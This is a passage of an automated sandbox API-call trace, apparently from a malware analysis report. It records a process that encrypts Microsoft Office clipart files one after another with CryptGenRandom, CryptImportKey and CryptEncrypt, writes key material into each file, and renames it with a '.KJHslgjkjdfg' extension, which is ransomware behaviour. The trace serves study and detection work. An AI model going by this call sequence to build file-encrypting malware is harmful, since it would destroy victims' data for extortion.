dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0207.443] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0207.443] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0207.443] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0207.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.444] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4180, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4180, lpOverlapped=0x0) returned 1 [0207.445] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4180, dwBufLen=0x4180 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4180) returned 1 [0207.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.445] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4180, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4180, lpOverlapped=0x0) returned 1 [0207.446] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0207.446] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.446] SetEndOfFile (hFile=0x130) returned 1 [0207.449] GetProcessHeap () returned 0x2ef0000 [0207.449] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0207.449] GetProcessHeap () returned 0x2ef0000 [0207.449] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0207.449] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf.kjhslgjkjdfg")) returned 1 [0207.450] CloseHandle (hObject=0x130) returned 1 [0207.451] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2dfa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0318804.WMF", cAlternateFileName="")) returned 1 [0207.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.452] GetProcessHeap () returned 0x2ef0000 [0207.452] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0207.452] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0207.452] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0207.452] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0207.467] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0207.467] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0207.467] GetProcessHeap () returned 0x2ef0000 [0207.467] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0207.467] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0207.467] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0207.467] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0207.468] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0207.468] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0207.468] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0207.468] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0207.468] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0207.468] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0207.468] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0207.468] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.468] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2dfa, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2dfa, lpOverlapped=0x0) returned 1 [0207.494] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2e00, dwBufLen=0x2e00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2e00) returned 1 [0207.494] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.494] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2e00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2e00, lpOverlapped=0x0) returned 1 [0207.494] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0207.494] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.494] SetEndOfFile (hFile=0x130) returned 1 [0207.496] GetProcessHeap () returned 0x2ef0000 [0207.496] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0207.496] GetProcessHeap () returned 0x2ef0000 [0207.496] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0207.497] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf.kjhslgjkjdfg")) returned 1 [0207.498] CloseHandle (hObject=0x130) returned 1 [0207.498] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0318810.WMF", cAlternateFileName="")) returned 1 [0207.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.499] GetProcessHeap () returned 0x2ef0000 [0207.499] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0207.499] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0207.499] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0207.499] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0207.548] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0207.548] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0207.548] GetProcessHeap () returned 0x2ef0000 [0207.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0207.548] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0207.548] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0207.548] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0207.549] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0207.549] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0207.549] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0207.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0207.549] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0207.549] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0207.549] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0207.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.549] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x28be, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x28be, lpOverlapped=0x0) returned 1 [0208.812] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x28c0, dwBufLen=0x28c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x28c0) returned 1 [0208.812] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.812] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x28c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x28c0, lpOverlapped=0x0) returned 1 [0208.812] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0208.812] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.812] SetEndOfFile (hFile=0x130) returned 1 [0208.815] GetProcessHeap () returned 0x2ef0000 [0208.816] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0208.816] GetProcessHeap () returned 0x2ef0000 [0208.816] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0208.816] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf.kjhslgjkjdfg")) returned 1 [0208.817] CloseHandle (hObject=0x130) returned 1 [0208.817] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24d7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0321179.JPG", cAlternateFileName="")) returned 1 [0208.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.819] GetProcessHeap () returned 0x2ef0000 [0208.819] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0208.819] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0208.820] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0208.820] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x9, lpOverlapped=0x0) returned 1 [0210.157] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0210.157] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0210.157] GetProcessHeap () returned 0x2ef0000 [0210.157] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0210.158] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0210.158] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0210.158] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0210.158] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0210.158] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0210.158] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0210.158] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0210.158] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0210.159] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0210.159] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0210.159] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.159] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x24d7, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x24d7, lpOverlapped=0x0) returned 1 [0210.281] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x24e0, dwBufLen=0x24e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x24e0) returned 1 [0210.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.282] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x24e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x24e0, lpOverlapped=0x0) returned 1 [0210.282] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0210.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x25b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.282] SetEndOfFile (hFile=0x130) returned 1 [0210.310] GetProcessHeap () returned 0x2ef0000 [0210.310] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0210.310] GetProcessHeap () returned 0x2ef0000 [0210.310] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0210.310] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg.kjhslgjkjdfg")) returned 1 [0210.317] CloseHandle (hObject=0x130) returned 1 [0210.317] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ff8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0324694.WMF", cAlternateFileName="")) returned 1 [0210.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.391] GetProcessHeap () returned 0x2ef0000 [0210.391] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0210.391] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0210.391] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0210.391] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0210.436] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0210.436] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0210.436] GetProcessHeap () returned 0x2ef0000 [0210.436] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0210.436] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0210.436] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0210.436] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0210.436] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0210.437] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0210.437] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0210.437] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0210.437] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0210.437] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0210.437] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0210.437] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.437] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2ff8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2ff8, 